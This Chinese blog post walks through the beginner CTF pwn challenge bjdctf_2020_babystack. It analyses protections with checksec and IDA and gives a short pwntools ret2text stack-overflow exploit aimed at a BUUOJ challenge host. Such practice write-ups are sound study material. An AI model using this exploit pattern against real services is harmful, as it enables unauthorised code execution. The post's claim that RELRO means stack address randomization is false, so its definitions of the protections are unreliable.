bjdctf_2020_babystack

本人也是一个pwn的小白,不足的地方请大家见谅,可以在评论区发一下我的错误。谢谢各位师傅。

 1.checksec

那道题咱们先checksec一下

 一看,这个是64位的,所以用IDA64。

再看一下,发现开启了NX保护。

由于本人也是一个小白,为了使更多的小白可以看懂,咱就再复习一下RELRO,STACK,NX,PIE到底能说明什么吧。

NX:数据执行防护 ,它会使栈上的数据没有执行的权力。主要防止:栈溢出 + 跳到栈上执行shellcode

RELRO:堆栈地址随机化。主要防止:所有需要用到堆栈精确地址的攻击,要想成功,
必须用提前泄露地址

PIE:代码地址随机化。主要防止:构造ROP链攻击

STACK:NO canary found:意思就是未发现栈保护

 2.看ida

我就讲细致一些吧!其实这道题也挺简单的。

先看main函数

 本小白细致的瞧了瞧,发现了一个read函数,心里一想,read不是个危险函数嘛,这个该不会就是一个栈溢出,用ret2text就可以解决吧!

紧接着按shift键+f12

 有bin/sh

那就可以用ret2text做了,哎呀妈呀真香!

你们应该会查bin/sh的地址吧,真害怕你们不会查了,如果不会查,我就勉为其难的和你们说一说。先shift键+f12,看见了/bin/sh双击,然后你们会进入这个页面

 然后点一下command,再点一下x键,弹出一个窗口,点击ok就可以,再按一下空格键,你就可以看到香喷喷的/bin/sh地址了。

bin/sh/地址是多少了,让我瞧瞧,0x4006EA 。

咱们接着看偏移量。

read(0, buf, (unsigned int)nbytes);nbytes这个是可以输入的最大字节数。

咱再点一下buf,看看buf允许输入的是多少。

 偏移量是0x10+8,我相信大家应该是懂得吧!这个我就不说了

还有为了跳转到read函数,你还需要给scanf函数里面输入一些东西,我建议输入个大于等于24的数字,这样可以造成栈溢出。但是不要超过nbytes的字节数。

3.写exp

from pwn import*
#p=process('./ctf')
p=remote('node4.buuoj.cn',25952)

p.sendlineafter(b'Please input the length of your name:\n',b'30')
payload=b'a'*(0x10+0x8)+p64(0x04006EA)

p.sendline(payload)
p.interactive()
 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值